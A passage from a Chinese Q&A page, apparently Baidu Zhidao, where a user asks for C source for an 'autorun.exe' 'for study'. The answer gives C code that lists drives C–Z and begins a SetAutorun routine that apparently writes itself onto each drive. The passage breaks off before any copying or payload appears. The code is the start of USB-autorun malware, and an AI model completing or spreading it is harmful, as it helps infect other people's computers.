求 autorun.exe C源代码 本人学习用

来源:百度知道 编辑:UC知道 时间:2024/05/18 01:08:18
求 autorun.exe C源代码 本人学习用
因为本人现在学的是C所以其他版本的代码看不懂
BAT的倒是能看懂 只是拿来结合到C时太麻烦了
所以希望高手能够赐教

下面的程序是从我一个程序弄出来的
你应该能看明白吧 很简单的 哈哈
#include <windows.h>
#include <cstdio>

int GetVolumeName(char szVolumeName[] )
{
int nVolumeNum = 0;

WIN32_FIND_DATA fd;

for( int i = 'C'; i <= 'Z'; i ++ )
{
if( i == 'I' )
{
continue ;
}
char szVolumeNameTemp[10];
sprintf( szVolumeNameTemp, "%c:\\*.*", i );
HANDLE hFile = FindFirstFile( szVolumeNameTemp, &fd);

if( ( unsigned int ) hFile != -1)
{
szVolumeName[ nVolumeNum ] = i;
nVolumeNum ++;
}
}
szVolumeName[ nVolumeNum ] = 0;

return nVolumeNum; //磁盘的数目
}

void SetAutorun()
{
char szVolumeName[25];
int nVolumeNum = GetVolumeName( szVolumeName );
for( int i = 0; i < nVolumeNum; i++)
{
char szFileName[20];
char szMyFileName[200];